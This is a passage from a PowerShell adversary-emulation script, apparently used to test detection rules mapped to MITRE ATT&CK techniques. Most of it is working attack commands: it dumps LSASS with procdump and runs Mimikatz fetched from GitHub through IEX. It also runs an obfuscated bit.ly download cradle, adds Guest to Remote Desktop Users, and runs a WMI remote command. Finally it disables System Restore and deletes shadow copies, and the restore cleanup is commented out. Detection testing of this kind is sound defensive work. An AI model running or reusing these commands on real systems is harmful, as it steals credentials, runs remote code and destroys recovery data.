| Invoke-WebRequest -Uri http://live.sysinternals.com/procdump.exe -OutFile "$AttackDir\procdump.exe" 230 | Write-Host "Dumping LSASS memory with ProcDump.exe to extract passwords and tokens" 231 | #Start-Process -FilePath "$AttackDir\procdump.exe" -ArgumentList "-ma lsass.exe lsass.dmp -accepteula -at $n 2>$null" 2>$null -Wait 232 | & $AttackDir\procdump.exe -ma lsass.exe lsass.dmp -accepteula -dc $n 233 | 234 | Write-host "Initiating Credential Access - T1003 - Credential Dumping with Mimikatz" 235 | Start-Sleep 2 236 | Remove-Item "$attackDir\lsass.dmp" -Force -ErrorAction Ignore 237 | 238 | # Mimikatz 239 | powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds; Start-Sleep -m $n" 240 | 241 | 242 | Write-Host "Initiating T1059.001 - Powershell Execution of Mimikatz w/ Obfuscation" 243 | $cmd = @' 244 | (New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1'); 245 | IEX((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_}))) 246 | (New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1'); 247 | [ScriptBlock]::Create((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_}))).InvokeReturnAsIs() 248 | Set-Variable HJ1 'http://bit.ly/L3g1tCrad1e'; 249 | SI Variable:/0W 'Net.WebClient'; 250 | Set-Item Variable:\gH 'Default_File_Path.ps1'; 251 | ls _-*; 252 | Set-Variable igZ (.$ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand.PsObject.Methods|?{$_.Name-like'*Cm*t'}).Name).Invoke($ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand|GM|?{$_.Name-like'*om*e'}).Name).Invoke('*w-*ct',$TRUE,1))(Get-ChildItem Variable:0W).Value);Set-Variable J ((((Get-Variable igZ -ValueOn)|GM)|?{$_.Name-like'*w*i*le'}).Name);(Get-Variable igZ -ValueOn).((ChildItem Variable:J).Value).Invoke((Get-Item Variable:/HJ1).Value,(GV gH).Value);&( ''.IsNormalized.ToString()[13,15,48]-Join'')(-Join([Char[]](CAT -Enco 3 (GV gH).Value))) 253 | Invoke-Mimikatz -DumpCreds 254 | '@ 255 | $cmd += "`nStart-Sleep -m $n" 256 | 257 | powershell.exe -Win N -exec bypass -nop -command $cmd 258 | 259 | Start-Sleep 10 260 | 261 | 262 | # LATERAL MOVEMENT 263 | Write-Host -ForegroundColor Cyan "`nStarting Lateral Movement Step" 264 | Write-Host "Adding Passwordless Guest Accounts to Remote Desktop Users" 265 | net localgroup "Remote Desktop Users" Guest /add /comment:"$n" 266 | Start-Sleep 3 267 | #Cleanup 268 | Write-Host "Removing Guest from Remote Desktop Users" 269 | net localgroup "Remote Desktop Users" Guest /delete 270 | 271 | 272 | $cmd = "Enable-WSManCredSSP Server -n $n" 273 | Powershell.exe -nop -command $cmd 274 | 275 | # Execute Remote Command using WMI 276 | wmic /node:targetcomputername process call create 'powershell.exe -command {$a = "EICARTES"; $a+= "T"; cmd.exe /c echo $a}' 2>$null 277 | 278 | Start-Sleep 10 279 | 280 | 281 | #### IMPACT 282 | Write-Host -ForegroundColor Cyan "`nStarting Impact Step" 283 | Write-Host "Testing Rule: Disable Automatic Windows Recovery (Note: these test commands are designed with syntax errors)" 284 | Write-Host "(Impact-T1490) Automatic Windows recovery features disabled" 285 | Write-Host "[ATT&CK T1490 - Impact - Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)" 286 | reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "1" /f /i $n 2>$null 287 | reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "1" /f /i $n 2>$null 288 | reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "1" /f /i $n 2>$null 289 | reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "1" /f /i $n 2>$null 290 | Start-Sleep 2 291 | 292 | # clean up 293 | <# 294 | Write-Host "Restoring Automatic Windows recovery features" 295 | reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "0" /f 296 | reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "0" /f 297 | reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "0" /f 298 | reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "0" /f 299 | #> 300 | 301 | Write-Host "Testing Rule: Shadow Copy Deletion" 302 | Write-Host "(Impact-T1490) Volume shadow copy was deleted" 303 | Write-Host "[ATT&CK T1490 - Impact - Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)" 304 | vssadmin.exe delete shadows /All /Shadow=$n /quiet 2>$null 305 | 306 | 307 | Write-Host "Testing Rule: Wallpaper Defacement" 308 | Write-Host "[ATT&CK T1491 - Impact - Defacement: Internal Defacement](https://attack.mitre.org/techniques/T1491)" 309 | Write-Host "(Impact-T1491) Possible defacement - Wallpaper was changed via commandline" 310 | $cmd = @' 311 | $oldwallpaper = Get-ItemProperty 'HKCU:\Control Panel\Desktop' | select WallPaper -ExpandProperty wallpaper 312 | reg add 'HKEY_CURRENT_USER\Control Panel\Desktop' /v Wallpaper /t REG_SZ /d $oldwallpaper /f 313 | RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters 314 | '@ 315 | $cmd += "`nStart-Sleep -m $n" 316 | powershell.exe -Win N -exec bypass -nop -command $cmd 317 | 318 | 319 | Write-Host "Restarting Defender..." 320 | sc.exe config WinDefend start= Auto 321 | sc.exe start WinDefend 322 | Set-MpPreference -DisableRealtimeMonitoring $false 323 | 324 | # Set AlwaysInstallElevated key to 1 325 | $cmd = "reg delete HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /f 2>&1" 326 | Powershell.exe -nop -command $cmd 327 | 328 | #Remove-Item -Path $attackDir -Recurse -force -ErrorAction Ignore 329 | 330 | 331 | Function Set-WallPaper { 332 | param ( 333 | [parameter(Mandatory=$True)] 334 | # Provide path to image 335 | [string]$Image, 336 | # Provide wallpaper style that you would like applied 337 | [parameter(Mandatory=$False)] 338 | [ValidateSet('Fill', 'Fit', 'Stretch', 'Tile', 'Center', 'Span')] 339 | [string]$Style 340 | ) 341 | 342 | $WallpaperStyle = Switch ($Style) { 343 | "Fill" {"10"} 344 | "Fit" {"6"} 345 | "Stretch" {"2"} 346 | "Tile" {"0"} 347 | "Center" {"0"} 348 | "Span" {"22"} 349 | } 350 | If($Style -eq "Tile") { 351 | New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force 352 | New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 1 -Force 353 | } 354 | Else { 355 | New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force 356 | New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 0 -Force 357 | } 358 | 359 | Add-Type -TypeDefinition @" 360 | using System; 361 | using System.Runtime.InteropServices; 362 | 363 | public class Params 364 | { 365 | [DllImport("User32.dll",CharSet=CharSet.Unicode)] 366 | public static extern int SystemParametersInfo (Int32 uAction, 367 | Int32 uParam, 368 | String lpvParam, 369 | Int32 fuWinIni); 370 | } 371 | "@ 372 | $SPI_SETDESKWALLPAPER = 0x0014 373 | $UpdateIniFile = 0x01 374 | $SendChangeEvent = 0x02 375 | 376 | $fWinIni = $UpdateIniFile -bor $SendChangeEvent 377 | 378 | $ret = [Params]::SystemParametersInfo($SPI_SETDESKWALLPAPER, 0, $Image, $fWinIni) 379 | } 380 | #Set-WallPaper -Image "C:\Wallpaper\Background.jpg" -Style Fit 381 | 382 | 383 | --------------------------------------------------------------------------------